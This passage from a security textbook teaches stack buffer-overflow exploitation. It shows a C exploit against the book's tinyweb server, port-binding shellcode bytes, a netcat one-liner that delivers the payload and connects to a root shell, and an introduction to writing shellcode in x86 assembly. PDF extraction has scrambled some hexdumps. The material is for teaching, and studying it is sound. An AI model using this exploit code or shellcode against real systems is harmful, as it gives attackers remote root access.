#define RETADDR 0xbffff688 int main(int argc, char *argv[]) { int sockfd, buflen; struct hostent *host_info; struct sockaddr_in target_addr; unsigned char buffer[600]; if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(1); } if((host_info = gethostbyname(argv[1])) == NULL) fatal("looking up hostname"); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(80); target_addr.sin_addr = *((struct in_addr *)host_info->h_addr); memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct. if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("connecting to target server"); bzero(buffer, 600); // Zero out the buffer. memset(buffer, '\x90', OFFSET); // Build a NOP sled. *((u_int *)(buffer + OFFSET)) = RETADDR; // Put the return address in memcpy(buffer+300, shellcode, strlen(shellcode)); // shellcode. strcat(buffer, "\r\n"); // Terminate the string. printf("Exploit buffer:\n"); dump(buffer, strlen(buffer)); // Show the exploit buffer. send_string(sockfd, buffer); // Send exploit buffer as an HTTP request. exit(0); }

When this program is compiled, it can remotely exploit hosts running the tinyweb program, tricking them into running the shellcode. The exploit also dumps out the bytes of the exploit buffer before it sends it. In the output below, the tinyweb program is run in a different terminal, and the exploit is tested against it. Here’s the output from the attacker’s terminal: reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ Exploit buffer: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 gcc tinyweb_exploit.c ./a.out 127.0.0.1 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | | | | | | ................ ................ ................ ................ ................ ................

276

0x 400

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 c9 99 b0 a4 cd 80 6a 0b 68 2f 62 69 6e 89 e3 51 89 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0d 0a reader@hacking:~/booksrc $

90 90 90 90 90 90 90 90 90 90 90 90 90 58 e2 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 51 53 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 68 89 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 31 2f e1 90 90 90 90 90 90 90 90 90 90 90 90 88

90 90 90 90 90 90 90 90 90 90 90 90 c0 2f cd 90 90 90 90 90 90 90 90 90 90 90 90 f6

90 90 90 90 90 90 90 90 90 90 90 90 31 73 80 90 90 90 90 90 90 90 90 90 90 90 90 ff

90 90 90 90 90 90 90 90 90 90 90 90 db 68 90 90 90 90 90 90 90 90 90 90 90 90 90 bf

| | | | | | | | | | | | | | | | | | | | | | | | | | | | |

................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ............1.1. 1......j.XQh//sh h/bin..Q..S..... ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ................ ..

Back on the terminal running the tinyweb program, the output shows the exploit buffer was received and the shellcode is executed. This will provide a rootshell, but only for the console running the server. Unfortunately, we aren’t at the console, so this won’t do us any good. At the server console, we see the following: reader@hacking:~/booksrc $ ./tinyweb Accepting web requests on port 80 Got request from 127.0.0.1:53908 "GET / HTTP/1.1" Opening './webroot/index.html' 200 OK Got request from 127.0.0.1:40668 "GET /image.jpg HTTP/1.1" Opening './webroot/image.jpg' 200 OK Got request from 127.0.0.1:58504 " 1 1 1 j XQh//shh/bin Q S " NOT HTTP! sh-3.2#

N et wor kin g

277

The vulnerability certainly exists, but the shellcode doesn’t do what we want in this case. Since we’re not at the console, shellcode is just a selfcontained program, designed to take over another program to open a shell. Once control of the program’s execution pointer is taken, the injected shellcode can do anything. There are many different types of shellcode that can be used in different situations (or payloads). Even though not all shellcode actually spawns a shell, it’s still commonly called shellcode.

0x483 Port-Binding Shellcode
When exploiting a remote program, spawning a shell locally is pointless. Port-binding shellcode listens for a TCP connection on a certain port and serves up the shell remotely. Assuming you already have port-binding shellcode ready, using it is simply a matter of replacing the shellcode bytes defined in the exploit. Port-binding shellcode is included in the LiveCD that will bind to port 31337. These shellcode bytes are shown in the output below. reader@hacking:~/booksrc $ wc -c portbinding_shellcode 92 portbinding_shellcode reader@hacking:~/booksrc $ hexdump -C portbinding_shellcode 00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1.CRj.j.....| 00000010 96 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a 10 |.jfXCRfhzifS..j.| 00000020 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd 80 |QV.....fCCSV....| 00000030 b0 66 43 52 52 56 89 e1 cd 80 93 6a 02 59 b0 3f |.fCRRV.....j.Y.?| 00000040 cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 |..Iy...Rh//shh/b| 00000050 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |in..R..S....| 0000005c reader@hacking:~/booksrc $ od -tx1 portbinding_shellcode | cut -c8-80 | sed -e 's/ /\\x/g' \x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80 \x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10 \x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80 \xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f \xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80 reader@hacking:~/booksrc $

After some quick formatting, these bytes are swapped into the shellcode bytes of the tinyweb_exploit.c program, resulting in tinyweb_exploit2.c. The new shellcode line is shown below. New Line from tinyweb_exploit2.c char shellcode[]= "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80" "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10" "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80" "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f" "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; // Port-binding shellcode on port 31337

278

0x 400

When this exploit is compiled and run against a host running tinyweb server, the shellcode listens on port 31337 for a TCP connection. In the output below, a program called nc is used to connect to the shell. This program is netcat (nc for short), which works like that cat program but over the network. We can’t just use telnet to connect since it automatically terminates all outgoing lines with '\r\n'. The output of this exploit is shown below. The -vv command-line option passed to netcat is just to make it more verbose. reader@hacking:~/booksrc $ gcc tinyweb_exploit2.c reader@hacking:~/booksrc $ ./a.out 127.0.0.1 Exploit buffer: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 6a 66 58 99 | ............jfX. 31 db 43 52 6a 01 6a 02 89 e1 cd 80 96 6a 66 58 | 1.CRj.j......jfX 43 52 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | CRfhzifS..j.QV.. cd 80 b0 66 43 43 53 56 89 e1 cd 80 b0 66 43 52 | ...fCCSV.....fCR 52 56 89 e1 cd 80 93 6a 02 59 b0 3f cd 80 49 79 | RV.....j.Y.?..Iy f9 b0 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | ...Rh//shh/bin.. 52 89 e2 53 89 e1 cd 80 90 90 90 90 90 90 90 90 | R..S............ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................ 90 90 90 90 90 90 90 90 90 90 90 90 88 f6 ff bf | ................ 0d 0a | .. reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root ls -l /etc/passwd -rw-r--r-- 1 root root 1545 Sep 9 16:24 /etc/passwd

N et wor kin g

279

Even though the remote shell doesn’t display a prompt, it still accepts commands and returns the output over the network. A program like netcat can be used for many other things. It’s designed to work like a console program, allowing standard input and output to be piped and redirected. Using netcat and the port-binding shellcode in a file, the same exploit can be carried out on the command line. reader@hacking:~/booksrc $ wc -c portbinding_shellcode 92 portbinding_shellcode reader@hacking:~/booksrc $ echo $((540+4 - 300 - 92)) 152 reader@hacking:~/booksrc $ echo $((152 / 4)) 38 reader@hacking:~/booksrc $ (perl -e 'print "\x90"x300'; > cat portbinding_shellcode > perl -e 'print "\x88\xf6\xff\xbf"x38 . \r\n"')

jfX 1 CRj j RfhzifS j QV fCCSV fCRRV j Y ? Iy Rh//shh/bin R S

jfXC

reader@hacking:~/booksrc $ (perl -e 'print "\x90"x300'; cat portbinding_shellcode; perl -e 'print "\x88\xf6\xff\xbf"x38 . "\r\n"') | nc -v -w1 127.0.0.1 80 localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ nc -v 127.0.0.1 31337 localhost [127.0.0.1] 31337 (?) open whoami root

In the output above, first the length of the port-binding shellcode is shown to be 92 bytes. The return address is found 540 bytes from the start of the buffer, so with a 300-byte NOP sled and 92 bytes of shellcode, there are 152 bytes to the return address overwrite. This means that if the target return address is repeated 38 times at the end of the buffer, the last one should do the overwrite. Finally, the buffer is terminated with '\r\n'. The commands that build the buffer are grouped with parentheses to pipe the buffer into netcat. netcat connects to the tinyweb program and sends the buffer. After the shellcode runs, netcat needs to be broken out of by pressing CTRL-C, since the original socket connection is still open. Then, netcat is used again to connect to the shell bound on port 31337.

280

0x 400

0x500
SHELLCODE
So far, the shellcode used in our exploits has been just a string of copied and pasted bytes. We have seen standard shell-spawning shellcode for local exploits and port-binding shellcode for remote ones. Shellcode is also sometimes referred to as an exploit payload, since these self-contained programs do the real work once a program has been hacked. Shellcode usually spawns a shell, as that is an elegant way to hand off control; but it can do anything a program can do. Unfortunately, for many hackers the shellcode story stops at copying and pasting bytes. These hackers are just scratching the surface of what’s possible. Custom shellcode gives you absolute control over the exploited program. Perhaps you want your shellcode to add an admin account to /etc/passwd or to automatically remove lines from log files. Once you know how to write your own shellcode, your exploits are limited only by your imagination. In addition, writing shellcode develops assembly language skills and employs a number of hacking techniques worth knowing.

0x510 Assembly vs. C
The shellcode bytes are actually architecture-specific machine instructions, so shellcode is written using the assembly language. Writing a program in assembly is different than writing it in C, but many of the principles are similar. The operating system manages things like input, output, process control, file access, and network communication in the kernel. Compiled C programs ultimately perform these tasks by making system calls to the kernel. Different operating systems have different sets of system calls. In C, standard libraries are used for convenience and portability. A C program that uses printf() to output a string can be compiled for many different systems, since the library knows the appropriate system calls for various architectures. A C program compiled on an x86 processor will produce x86 assembly language. By definition, assembly language is already specific to a certain processor architecture, so portability is impossible. There are no standard libraries; instead, kernel system calls have to be made directly. To begin our comparison, let’s write a simple C program, then rewrite it in x86 assembly. helloworld.c
#include int main() { printf("Hello, world!\n"); return 0; }

When the compiled program is run, execution flows through the standard I/O library, eventually making a system call to write the string Hello, world! to the screen. The strace program is used to trace a program’s system calls. Used on the compiled helloworld program, it shows every system call that program makes. reader@hacking:~/booksrc $ gcc helloworld.c reader@hacking:~/booksrc $ strace ./a.out execve("./a.out", ["./a.out"], [/* 27 vars */]) = 0 brk(0) = 0x804a000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef6000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0 mmap2(NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20Z\1\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0 mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7db3000 mmap2(0xb7ee0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x12c) = 0xb7ee0000

282

0x 500

mmap2(0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7ee4000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7db2000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7ee0000, 8192, PROT_READ) = 0 munmap(0xb7ee7000, 61323) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef5000 write(1, "Hello, world!\n", 13Hello, world! ) = 13 exit_group(0) = ? Process 11528 detached reader@hacking:~/booksrc $

As you can see, the compiled program does more than just print a string. The system calls at the start are setting up the environment and memory for the program, but the important part is the write() syscall shown in bold. This is what actually outputs the string. The Unix manual pages (accessed with the man command) are separated into sections. Section 2 contains the manual pages for system calls, so man 2 write will describe the use of the write() system call: Man Page for the write() System Call
WRITE(2) WRITE(2) NAME write - write to a file descriptor SYNOPSIS #include ssize_t write(int fd, const void *buf, size_t count); DESCRIPTION write() writes up to count bytes to the file referenced by the file descriptor fd from the buffer starting at buf. POSIX requires that a read() which can be proved to occur after a write() returns the new data. Note that not all file systems are POSIX conforming. Linux Programmer's Manual

The strace output also shows the arguments for the syscall. The buf and count arguments are a pointer to our string and its length. The fd argument of 1 is a special standard file descriptor. File descriptors are used for almost everything in Unix: input, output, file access, network sockets, and so on. A file descriptor is similar to a number given out at a coat check. Opening a file descriptor is like checking in your coat, since you are given a number that can later be used to reference your coat. The first three file descriptor numbers (0, 1, and 2) are automatically used for standard input, output, and error. These values are standard and have been defined in several places, such as the /usr/include/unistd.h file on the following page.
Sh el lc ode

283

From /usr/include/unistd.h
/* Standard file descriptors. */ #define STDIN_FILENO 0 /* Standard input. */ #define STDOUT_FILENO 1 /* Standard output. */ #define STDERR_FILENO 2 /* Standard error output.

*/

Writing bytes to standard output’s file descriptor of 1 will print the bytes; reading from standard input’s file descriptor of 0 will input bytes. The standard error file descriptor of 2 is used to display the error or debugging messages that can be filtered from the standard output.

0x511 Linux System Calls in Assembly
Every possible Linux system call is enumerated, so they can be referenced by numbers when making the calls in assembly. These syscalls are listed in /usr/include/asm-i386/unistd.h. From /usr/include/asm-i386/unistd.h
#ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define __NR_restart_syscall __NR_exit 1 __NR_fork 2 __NR_read 3 __NR_write 4 __NR_open 5 __NR_close 6 __NR_waitpid 7 __NR_creat 8 __NR_link 9 __NR_unlink 10 __NR_execve 11 __NR_chdir 12 __NR_time 13 __NR_mknod 14 __NR_chmod 15 __NR_lchown 16 __NR_break 17 __NR_oldstat 18 __NR_lseek 19 __NR_getpid 20 __NR_mount 21 __NR_umount 22 __NR_setuid 23 __NR_getuid 24 0

284

0x 500

#define #define #define #define #define #define #define #define #define #define #define #define #define #define #define ...

__NR_stime __NR_ptrace __NR_alarm __NR_oldfstat __NR_pause __NR_utime __NR_stty __NR_gtty __NR_access __NR_nice __NR_ftime __NR_sync __NR_kill __NR_rename __NR_mkdir

25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

For our rewrite of helloworld.c in assembly, we will make a system call to the write() function for the output and then a second system call to exit() so the process quits cleanly. This can be done in x86 assembly using just two assembly instructions: mov and int. Assembly instructions for the x86 processor have one, two, three, or no operands. The operands to an instruction can be numerical values, memory addresses, or processor registers. The x86 processor has several 32-bit registers that can be viewed as hardware variables. The registers EAX, EBX, ECX, EDX, ESI, EDI, EBP, and ESP can all be used as operands, while the EIP register (execution pointer) cannot. The mov instruction copies a value between its two operands. Using Intel assembly syntax, the first operand is the destination and the second is the source. The int instruction sends an interrupt signal to the kernel, defined by its single operand. With the Linux kernel, interrupt 0x80 is used to tell the kernel to make a system call. When the int 0x80 instruction is executed, the kernel will make a system call based on the first four registers. The EAX register is used to specify which system call to make, while the EBX, ECX, and EDX registers are used to hold the first, second, and third arguments to the system call. All of these registers can be set using the mov instruction. In the following assembly code listing, the memory segments are simply declared. The string "Hello, world!" with a newline character (0x0a) is in the data segment, and the actual assembly instructions are in the text segment. This follows proper memory segmentation practices. helloworld.asm section .data msg db section .text global _start _start: ; Data segment "Hello, world!", 0x0a ; The string and newline char

; Text segment ; Default entry point for ELF linking

Sh el lc ode

285

; SYSCALL: write(1, mov eax, 4 ; mov ebx, 1 ; mov ecx, msg ; mov edx, 14 ; int 0x80 ;

msg, 14) Put 4 into eax, since write is syscall #4. Put 1 into ebx, since stdout is 1. Put the address of the string into ecx. Put 14 into edx, since our string is 14 bytes. Call the kernel to make the system call happen.

; SYSCALL: exit(0) mov eax, 1 ; Put 1 into eax, since exit is syscall #1. mov ebx, 0 ; Exit with success. int 0x80 ; Do the syscall.

The instructions of this program are straightforward. For the write() syscall to standard output, the value of 4 is put in EAX since the write() function is system call number 4. Then, the value of 1 is put into EBX, since the first argument of write() should be the file descriptor for standard output. Next, the address of the string in the data segment is put into ECX, and the length of the string (in this case, 14 bytes) is put into EDX. After these registers are loaded, the system call interrupt is triggered, which will call the write() function. To exit cleanly, the exit() function needs to be called with a single argument of 0. So the value of 1 is put into EAX, since exit() is system call number 1, and the value of 0 is put into EBX, since the first and only argument should be 0. Then the system call interrupt is triggered again. To create an executable binary, this assembly code must first be assembled and then linked into an executable format. When compiling C code, the GCC compiler takes care of all of this automatically. We are going to create an executable and linking format (ELF) binary, so the global _start line shows the linker where the assembly instructions begin. The nasm assembler with the -f elf argument will assemble the helloworld.asm into an object file ready to be linked as an ELF binary. By default, this object file will be called helloworld.o. The linker program ld will produce an executable a.out binary from the assembled object. reader@hacking:~/booksrc reader@hacking:~/booksrc reader@hacking:~/booksrc Hello, world! reader@hacking:~/booksrc $ nasm -f elf helloworld.asm $ ld helloworld.o $ ./a.out $

This tiny program works, but it’s not shellcode, since it isn’t self-contained and must be linked.

0x520 The Path to Shellcode
Shellcode is literally injected into a running program, where it takes over like a biological virus inside a cell. Since shellcode isn’t really an executable program, we don’t have the luxury of declaring the layout of data in memory or even using other memory segments. Our instructions must be self-contained and ready to take over control of the processor regardless of its current state. This is commonly referred to as position-independent code.
286
0x 500

In shellcode, the bytes for the string "Hello, world!" must be mixed together with the bytes for the assembly instructions, since there aren’t definable or predictable memory segments. This is fine as long as EIP doesn’t try to interpret the string as instructions. However, to access the string as data we need a pointer to it. When the shellcode gets executed, it could be anywhere in memory. The string’s absolute memory address needs to be calculated relative to EIP. Since EIP cannot be accessed from assembly instructions, however, we need to use some sort of trick.

0x521 Assembly Instructions Using the Stack
The stack is so integral to the x86 architecture that there are special instructions for its operations.
Instruction
push pop call

Description Push the source operand to the stack. Pop a value from the stack and store in the destination operand. Call a function, jumping the execution to the address in the location operand. This location can be relative or absolute. The address of the instruction following the call is pushed to the stack, so that execution can return later. Return from a function, popping the return address from the stack and jumping execution there.

ret

Stack-based exploits are made possible by the call and ret instructions. When a function is called, the return address of the next instruction is pushed to the stack, beginning the stack frame. After the function is finished, the ret instruction pops the return address from the stack and jumps EIP back there. By overwriting the stored return address on the stack before the ret instruction, we can take control of a program’s execution. This architecture can be misused in another way to solve the problem of addressing the inline string data. If the string is placed directly after a call instruction, the address of the string will get pushed to the stack as the return address. Instead of calling a function, we can jump past the string to a pop instruction that will take the address off the stack and into a register. The following assembly instructions demonstrate this technique. helloworld1.s
BITS 32 ; Tell nasm this is 32-bit code.

call mark_below ; Call below the string to instructions db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes. mark_below: ; ssize_t write(int pop ecx mov eax, 4 mov ebx, 1

fd, const void *buf, size_t count); ; Pop the return address (string ptr) into ecx. ; Write syscall #. ; STDOUT file descriptor
Sh el lc ode

287

mov edx, 15 int 0x80

; Length of the string ; Do syscall: write(1, string, 14)

; void _exit(int status); mov eax, 1 ; Exit syscall # mov ebx, 0 ; Status = 0 int 0x80 ; Do syscall: exit(0)

The call instruction jumps execution down below the string. This also pushes the address of the next instruction to the stack, the next instruction in our case being the beginning of the string. The return address can immediately be popped from the stack into the appropriate register. Without using any memory segments, these raw instructions, injected into an existing process, will execute in a completely position-independent way. This means that, when these instructions are assembled, they cannot be linked into an executable. reader@hacking:~/booksrc $ nasm helloworld1.s reader@hacking:~/booksrc $ ls -l helloworld1 -rw-r--r-- 1 reader reader 50 2007-10-26 08:30 helloworld1 reader@hacking:~/booksrc $ hexdump -C helloworld1 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c 00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba 00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 00000030 cd 80 00000032 reader@hacking:~/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000 call 0x14 00000005 48 dec eax 00000006 656C gs insb 00000008 6C insb 00000009 6F outsd 0000000A 2C20 sub al,0x20 0000000C 776F ja 0x7d 0000000E 726C jc 0x7c 00000010 64210A and [fs:edx],ecx 00000013 0D59B80400 or eax,0x4b859 00000018 0000 add [eax],al 0000001A BB01000000 mov ebx,0x1 0000001F BA0F000000 mov edx,0xf 00000024 CD80 int 0x80 00000026 B801000000 mov eax,0x1 0000002B BB00000000 mov ebx,0x0 00000030 CD80 int 0x80 reader@hacking:~/booksrc $

|.....Hello, worl| |d!..Y...........| |................| |..|

The nasm assembler converts assembly language into machine code and a corresponding tool called ndisasm converts machine code into assembly. These tools are used above to show the relationship between the machine code bytes and the assembly instructions. The disassembly instructions marked in bold are the bytes of the "Hello, world!" string interpreted as instructions. Now, if we can inject this shellcode into a program and redirect EIP, the program will print out Hello, world! Let’s use the familiar exploit target of the notesearch program.
288
0x 500

reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld1) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9c6 reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xc6\xf9\xff\xbf"x40') -------[ end of note data ]------Segmentation fault reader@hacking:~/booksrc $

Failure. Why do you think it crashed? In situations like this, GDB is your best friend. Even if you already know the reason behind this specific crash, learning how to effectively use a debugger will help you solve many other problems in the future.

0x522 Investigating with GDB
Since the notesearch program runs as root, we can’t debug it as a normal user. However, we also can’t just attach to a running copy of it, because it exits too quickly. Another way to debug programs is with core dumps. From a root prompt, the OS can be told to dump memory when the program crashes by using the command ulimit -c unlimited. This means that dumped core files are allowed to get as big as needed. Now, when the program crashes, the memory will be dumped to disk as a core file, which can be examined using GDB. reader@hacking:~/booksrc $ sudo su root@hacking:/home/reader/booksrc # ulimit -c unlimited root@hacking:/home/reader/booksrc # export SHELLCODE=$(cat helloworld1) root@hacking:/home/reader/booksrc # ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9a3 root@hacking:/home/reader/booksrc # ./notesearch $(perl -e 'print "\xa3\xf9\ xff\xbf"x40') -------[ end of note data ]------Segmentation fault (core dumped) root@hacking:/home/reader/booksrc # ls -l ./core -rw------- 1 root root 147456 2007-10-26 08:36 ./core root@hacking:/home/reader/booksrc # gdb -q -c ./core (no debugging symbols found) Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Core was generated by `./notesearch £°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E. Program terminated with signal 11, Segmentation fault. #0 0x2c6541b7 in ?? () (gdb) set dis intel (gdb) x/5i 0xbffff9a3 0xbffff9a3: call 0x2c6541b7 0xbffff9a8: ins BYTE PTR es:[edi],[dx] 0xbffff9a9: outs [dx],DWORD PTR ds:[esi] 0xbffff9aa: sub al,0x20 0xbffff9ac: ja 0xbffffa1d (gdb) i r eip eip 0x2c6541b7 0x2c6541b7 (gdb) x/32xb 0xbffff9a3
Sh el lc ode

289

0xbffff9a3: 0xe8 0x0f 0x48 0x65 0xbffff9ab: 0x20 0x77 0x6f 0x72 0xbffff9b3: 0x0d 0x59 0xb8 0x04 0xbffff9bb: 0xcd 0x80 0xb8 0x01 (gdb) quit root@hacking:/home/reader/booksrc # hexdump -C 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00000030 cd 80 00000032 root@hacking:/home/reader/booksrc #

0x6c 0x6c 0xbb 0xbb

0x6c 0x64 0x01 0xcd

0x6f 0x21 0xba 0x80

0x2c 0x0a 0x0f 0x00

helloworld1 77 6f 72 6c 00 00 00 ba 00 00 00 00

|.....Hello, worl| |d!..Y...........| |................| |..|

Once GDB is loaded, the disassembly style is switched to Intel. Since we are running GDB as root, the .gdbinit file won’t be used. The memory where the shellcode should be is examined. The instructions look incorrect, but it seems like the first incorrect call instruction is what caused the crash. At least, execution was redirected, but something went wrong with the shellcode bytes. Normally, strings are terminated by a null byte, but here, the shell was kind enough to remove these null bytes for us. This, however, totally destroys the meaning of the machine code. Often, shellcode will be injected into a process as a string, using functions like strcpy(). Such functions will simply terminate at the first null byte, producing incomplete and unusable shellcode in memory. In order for the shellcode to survive transit, it must be redesigned so it doesn’t contain any null bytes.

0x523 Removing Null Bytes
